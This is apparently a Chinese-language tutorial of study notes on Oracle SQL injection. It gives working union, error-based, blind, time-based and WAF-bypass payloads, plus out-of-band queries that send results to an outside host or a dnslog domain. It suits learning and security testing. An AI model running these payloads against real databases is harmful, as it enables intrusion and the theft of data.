寫在前頭,本文是我在學習Oracle注入時做的筆記加以整理所作的分享,由於在面試中被問過幾次,並不是很難的東西,總是被問住,所以決定抽一些時間徹底學習一遍。一些基本語法與Mysql差別也不是很大,學起來並不費勁。
本文極其適合入門選手,一篇文章足以幫你入門Oracle注入。抄了一些y4博客文章的目錄,查閱官方文檔細化了函數的使用。請搭配官方文檔食用,並親手實踐為主,文中如有錯誤請通知我更改。
Oracle Database安裝為了方便,直接docker 拉一個鏡像回來。
版本 Oracle Database 11g
# 拉取鏡像
$ docker pull deepdiver/docker-oracle-xe-11g
# 啟動容器
$ docker run -d --name oracledb -p 1002:22 -p 1521:1521 deepdiver/docker-oracle-xe-11g
# 可以選擇進入docker操作,不需要將docker 22埠映射出來。
$ docker exec -it oracledb bash
基礎學習dual 是Oracle中的虛表,任何用戶均可讀取,常用在沒有目標表的select 語句中。
Oracle資料庫中使用的語言有三種,分別為:SQL, java, PL/SQL。
本文接下來所有記錄的語法、函數使用等,均摘自Oracle官方文檔,如有不明白之處自行去官網查詢詳細文檔即可官方文檔
體系結構# 實例
一個Oracle實例(Oracle Instance)有一系列的後臺進程和內存結構組成。一個資料庫可以有n個實例。
# 用戶
Oracle資料庫的基本單位,等同於Mysql中的庫。Mysql:當前資料庫下有N張表 <=> Oracle:當前用戶下有N張表。
# 表空間
表空間是Oracle對物理資料庫上相關數據文件(ORA或者DBF文件)的邏輯映射。一個資料庫在邏輯上被劃分成一到若干個表空間,每個表空間包含了在邏輯上相關的一組結構。每個資料庫至少有一個表空間(稱之為system表空間)。
每個表空間由同一磁碟上的一個或多個文件組成,這些文件叫數據文件(datafile)。一個數據文件只能屬於一個表空間。
# 數據文件(dbf,ora)
數據文件是資料庫的物理存儲單位。表空間與數據文件是一對多的關係(用戶與表空間也是一對多的關係),而數據文件只能屬於一個表空間,刪除數據文件需先刪除該文件所屬的表空間。
表的數據,是由用戶放入某一個表空間的,而這個表空間會隨機把這些表數據放到一個或多個數據文件中。
Oracle資料庫中常用角色connect --連接角色,基本角色
resource --開發者角色
dba --超級管理員角色
Oracle資料庫存在默認用戶:scott,密碼:tiger。需要超級管理員權限用戶解鎖。
語法# 查看當前連接用戶
SQL> select user from dual;
# 創建用戶名為sqli密碼為pentest的用戶
SQL> create user sqli identified by pentest;
# 給新創建的用戶授權,connect角色:保證該用戶可以連接資料庫;resource角色:該用戶可以使用資料庫資源
SQL> grant connect,resource to sqli;
# 刪除用戶:當前連接資料庫的用戶必須具有刪除用戶權限(如sys)
# 創建表空間(需要超級管理員權限)
SQL> create tablespace pentest
2 datafile '/tmp/pentest.dbf'
3 size 100m
4 autoextend on
5 next 10m;
Tablespace created.
# 刪除表空間
SQL> drop tablespace pentest; --刪除表空間後,數據文件依舊存在。
Tablespace dropped.
數據類型1. varchar, varchar2 表示一個字符串。
2. NUMBER NUMBER(n)表示一個整數,長度是n;NUMBER(m,n)表示一個小數,總長度m,小數:n,整數是m-n。
eg: NUMBER(4,2) 表示最大可以存儲數字為99.99
3. DATA 表示日期類型
4. CLOB 大對象,表示大文本數據類型,可存4G
5. BLOB 大對象,表示二進位數據,可存4G
語法# 創建users表
SQL> create table users(
2 id number(10),
3 uname varchar2(16),
4 pwd varchar2(32)
5 )
6 ;
Table created.
# 添加列
SQL> alter table users add email varchar2(40);
# 修改列數據類型
SQL> alter table users modify email char(40);
# 修改列的名稱
SQL> alter table users rename column email to sex;
# 刪除列
SQL> alter table users drop column sex;
# 插入數據(values字符串不能使用雙引號)
SQL> insert into users (id,uname,pwd) values(1,'admin','ab71giedas98g1o2dasgd12e98g');
1 row created.
# 修改數據
update users set uname='administrator';
# 刪除數據
delete from users where uname='administrator';
序列# 默認從1開始:依次遞增,主要用來給主鍵賦值使用。序列不真的屬於任何表,但是可以邏輯和表做綁定。
SQL> create sequence s_users;
Sequence created.
SQL> insert into users (id,uname,pwd) values(s_users.nextval,'ceshi','d81bojd09sha1onpmd09a');
1 row created.
SQL> select * from users;
ID UNAME PWD
- --
1 admin ab71giedas98g1o2dasgd12e98g
3 ceshi d81bojd09sha1onpmd09a
Orcale資料庫注入學習基礎# Oracle中使用``||``拼接字符串
SQL> select 'pen'||'test' from dual;
'PEN'||
--
pentest
# 分頁操作(mysql中的limit)
SQL> select * from users where rownum<2; --rownum支持<,<=,!=
# 支持的注釋符
--
-- -
--空格
/**/
註:Oracle 字符串區分大小寫
信息獲取SQL> select banner from v$version;
BANNER
Oracle Database 11g Express Edition Release 11.2.0.2.0 - 64bit Production
PL/SQL Release 11.2.0.2.0 - Production
CORE 11.2.0.2.0 Production
TNS for Linux: Version 11.2.0.2.0 - Production
NLSRTL Version 11.2.0.2.0 - Production
# 獲取其中某版本使用正則即可,舉例:
SQL> select banner from v$version where banner like 'Oracle%';
BANNER
Oracle Database 11g Express Edition Release 11.2.0.2.0 - 64bit Production
# 獲取當前所連接的用戶名
SQL> select user from dual;
USER
SQLI
# 獲取資料庫中所有用戶
SQL> select username from all_users;
SELECT name FROM sys.user$; -- 需要高權限
# 獲取當前用戶權限
SQL> select * from session_privs;
# 獲取當前用戶所擁有權限下的所有資料庫
SQL> select distinct owner,table_name from all_tables;
# 獲取指定表的欄位(注意這裡的table_name全部大寫)
SQL> select column_name from all_tab_columns where table_name='USERS';
COLUMN_NAME
ID
UNAME
PWD
Oracle提供了一個名為的內置命名空間 USERENV,用於描述當前會話。以下語句返回登錄到資料庫的用戶的名稱:
SQL> select SYS_CONTEXT('USERENV','SESSION_USER') from dual;
SYS_CONTEXT('USERENV','SESSION_USER')
SQLI
SQL> select SYS_CONTEXT('USERENV','AUTHENTICATED_IDENTITY') from dual;
SYS_CONTEXT('USERENV','AUTHENTICATED_IDENTITY')
sqli
具體其他的 parameter官方文檔有寫
備忘錄1.GLOBAL_NAME 包含一行,顯示當前資料庫的全局名稱。
2. LISTAGG對ORDER BY子句中指定的每個組內的數據進行排序,然後合併度量列的值。measure_expr可以是任何表達。度量列中的空值將被忽略。
3. USER_TABLES描述當前用戶擁有的關係表。
4. ALL_TABLES描述當前用戶可訪問的關係表。(類似Mysql中的information_schema.tables)
5. DBA_ALL_TABLES描述資料庫中的所有對象表和關係表。其列與中的列相同ALLALLTABLES。
6. ALL_ALL_TABLES描述當前用戶可訪問的對象表和關係表。
7. USER_ALL_TABLES描述當前用戶擁有的對象表和關係表。
8. DBA_TABLES描述資料庫中的所有關係表,其列與ALL_TABLES中的列相同,查詢條件:DBA權限用戶。
# 獲取當前資料庫名
SQL> select * from global_name;
GLOBAL_NAME
XE
# 實現mysql的group_concat
SQL> select listagg(column_name,'~') within group (order by column_name) from user_tab_columns;
LISTAGG(COLUMN_NAME,'~')WITHINGROUP(ORDERBYCOLUMN_NAME)
ID~PWD~UNAME
聯合查詢註:Oracle中表達式必須具有與對應表達式相同的數據類型,且在Oralce資料庫中要求select語句後必須指定要查詢的表名(使用虛表dual即可)
SQL> select * from users where id=2 union select null,null,null from dual;
ID UNAME PWD
- --
# 獲取表名
SQL> select * from users where id=2 union select null,null,(select listagg(table_name,'~') within group(order by 1) from all_tables where owner='SQLI') from dual;
ID UNAME
-
PWD
ADDRESS~USERS
# 獲取指定表的欄位名
SQL> select * from users where id=2 union select null,null,(select listagg(column_name,':') within group(order by 1) from all_tab_columns where table_name='USERS') from dual;
ID UNAME
-
PWD
ID:PWD:UNAME
# 獲取指定欄位內容
SQL> select * from users where id=2 union select null,null,(select listagg(uname||'&'||pwd,':') within group(order by 1) from users where rownum=1) from dual;
ID UNAME
-
PWD
admin&ab71giedas98g1o2dasgd12e98g
報錯注入報錯注入的本質就是使資料庫返回一個語法等錯誤,並且返回錯誤中的某些內容我們可控,藉此來獲取我們需要的信息。
備忘錄1. UTL_INADDR程序包提供了一個PL/SQL過程來支持Internet尋址。它提供了一個API,用於檢索本地和遠程主機的主機名和IP位址。
# 此程序包是調用者的權限程序包,這意味著必須connect在分配給他或她希望連接到的遠程網絡主機的訪問控制列表中向調用用戶授予特權。
# Syntax
UTL_INADDR.GET_HOST_NAME (
ip IN VARCHAR2 DEFAULT NULL)
RETURN host_name VARCHAR2;
由於GET_HOST_ADDRESS函數所需參數類型是varchar2,且報錯時會講參數表達式結果返回,因此可以藉此實現報錯注入。GET_HOST_NAME函數同理。
需要注意的是,執行UTL_INADDR軟體包需要擁有connect權限的用戶,本次學習環境為11g,因此本次筆記暫不考慮之前版本。
2. ctxsys.drithsx.sn,沒找到具體官方文檔說明,用法如下:
SQL> select * from users where id=1 and 1=(select ctxsys.drithsx.sn(1,(select user from dual))from dual);
3. ctxsys.ctxreport.tokentype,這是一個輔助功能,可將英語名稱轉換為數字標記類型。
# 使用方法
function token_type(
index_name in varchar2,
type_name in varchar2
) return number;
SQL> select ctxsys.ctx_report.token_type((select user from dual),1) from dual;
select ctxsys.ctx_report.token_type((select user from dual),1) from dual
*
ERROR at line 1:
ORA-20000: Oracle Text error:
DRG-10502: index SQLI does not exist
ORA-06512: at "CTXSYS.DRUE", line 160
ORA-06512: at "CTXSYS.CTX_REPORT", line 711
這種類似的可以用來報錯注入的函數很多,舉個例子:
SQL> select ctxsys.ctx_report.token_info('aa','xx',1)from dual;
ERROR:
ORA-20000: Oracle Text error:
DRG-10502: index AA does not exist
ORA-06512: at "CTXSYS.DRUE", line 160
ORA-06512: at "CTXSYS.CTX_REPORT", line 615
ORA-06512: at line 1
no rows selected
4. dbmsxdbversion.checkin,此函數檢入已籤出的VCR,並返回新創建版本的資源ID。
# 用法
DBMS_XDB_VERSION.CHECKIN(
pathname VARCHAR2)
RETURN DBMS_XDB.resid_type;
如果路徑名不存在,則會引發異常。
SQL> select * from users where id=1 and '0x2e'=(select dbms_xdb_version.checkin((select user from dual))from dual);
select * from users where id=1 and '0x2e'=(select dbms_xdb_version.checkin((select user from dual))from dual)
*
ERROR at line 1:
ORA-31001: Invalid resource handle or path name "SQLI"
需要注意使用二進位數據類型
dbms_xdb_version.makeversioned
DBMS_XDB_VERSION.MAKEVERSIONED(
pathname VARCHAR2)
RETURN DBMS_XDB.resid_type;
如果資源不存在,則會引發異常。
需要注意使用二進位數據類型
報錯注入的payload就不寫太多了,原理感覺都那樣,還有很多類似的函數等可以挖掘出來,具體還有哪些常見的報錯注入payload可以看Y4er博客文章裡面的總結。
盲注感覺這部分沒什麼可以記錄的,盲注的思路都差不多,字符串比較,運算符的運用。隨便記錄一下吧。
# decode函數用來比較。
SQL> select * from users where id=1 and 1=(select decode(user,'SQLI',1) from dual);
SQL> select * from users where id=1 and 'S'=(select substr(user,1,1)from dual);
需要注意大小寫的問題
延時注入# 用來判斷注入點還行
SQL> select count(*) from all_objects;
# 利用了oracle管道功能接收消息的函數RECEIVE_MESSAGE,實現延時注入
DBMS_PIPE.RECEIVE_MESSAGE (
pipename IN VARCHAR2,
timeout IN INTEGER DEFAULT maxwait)
RETURN INTEGER;
# 簡單的使用
SQL> select dbms_pipe.receive_message('aaa',3) from dual;
DBMS_PIPE.RECEIVE_MESSAGE('AAA',3)
----
1
SQL> select dbms_pipe.receive_message('aaa',(decode((select user from dual),'SQLI',3))) from dual;
帶外攻擊OOB(Out Of Band)既然是帶外攻擊,自然需要connect
utl_http.request
UTL_HTTP.REQUEST (
url IN VARCHAR2,
proxy IN VARCHAR2 DEFAULT NULL,
wallet_path IN VARCHAR2 DEFAULT NULL,
wallet_password IN VARCHAR2 DEFAULT NULL)
RETURN VARCHAR2;
SQL> select utl_http.request('http://ip/?result='||(select user from dual))from dual;
我這裡測試沒有成功,報錯ORA-00904: : invalid identifier,可能是版本問題。
utlinaddr.gethost_address
報錯注入那個函數,不過多介紹了
SQL> select utl_inaddr.get_host_address((select user from dual)||'.o6xgjz.dnslog.cn')from dual;
DBMS_LDAP
DBMS_LDAP軟體包使您可以從LDAP伺服器訪問數據。
FUNCTIONN INIT():
init()用LDAP伺服器初始化會話。這實際上建立了與LDAP伺服器的連接。
# 語法
FUNCTION init
(
hostname IN VARCHAR2,
portnum IN PLS_INTEGER
)
RETURN SESSION;
HTTPURITYPE
可以創建UriType列,並在其中存儲DBURITYPE,XDBURITYPE或HTTPURITYPE的實例。您還可以定義自己的UriType子類型來處理不同的URL協議。
列舉幾個可以帶外的函數
通過閱讀官方文檔,明顯可以看出會請求httpuritype所指定的uri的函數有哪些。
1. GETCONTENTTYPE() 作用:返回URI指向的文檔的內容類型。
2. GETCLOB() 作用:返回位於HTTP URL地址的CLOB。
3. GETBLOB() 作用:返回位於URL指定的地址的BLOB。
select httpuritype.createuri('http://xxx.o6xgjz.dnslog.cn').getblob() from dual;
4. GETXML() 作用:返回位於URL指定的地址的。
select httpuritype.createuri('http://xxx.o6xgjz.dnslog.cn').getxml() from dual;
文章到此為止了,僅作為Oracle注入入門的學習筆記,在後續學習java的過程中,會繼續將Oracle注入更深入的利用(歷史漏洞XXE,提權,執行命令等)記錄筆記並做分享。
拋磚引玉一些很常見的tips在Oracle資料庫中的嘗試,至於具體實際中如何去bypass waf,還望自行發揮。
# 借用了在MySQL中bypass常用的技巧來做了簡單的可行性測試,注釋符和換行的搭配使用。
1. 注釋符拼接垃圾字符配合換行
SQL> select -- asdnaso/*asdas*/
2 user from--ioasndoiand
3 dual;
USER
SQLI
2. 利用waf的通用性特點
SQL> select user/*!saho*/from dual;
USER/*!SAHO*/
SQLI
SQL>
調用函數是可使用空格換行等
select ctxsys. drithsx.sn(user,'aa')from dual;
在線靶場
http://o1.lab.aqlab.cn:81/?id=1
你學廢了嗎?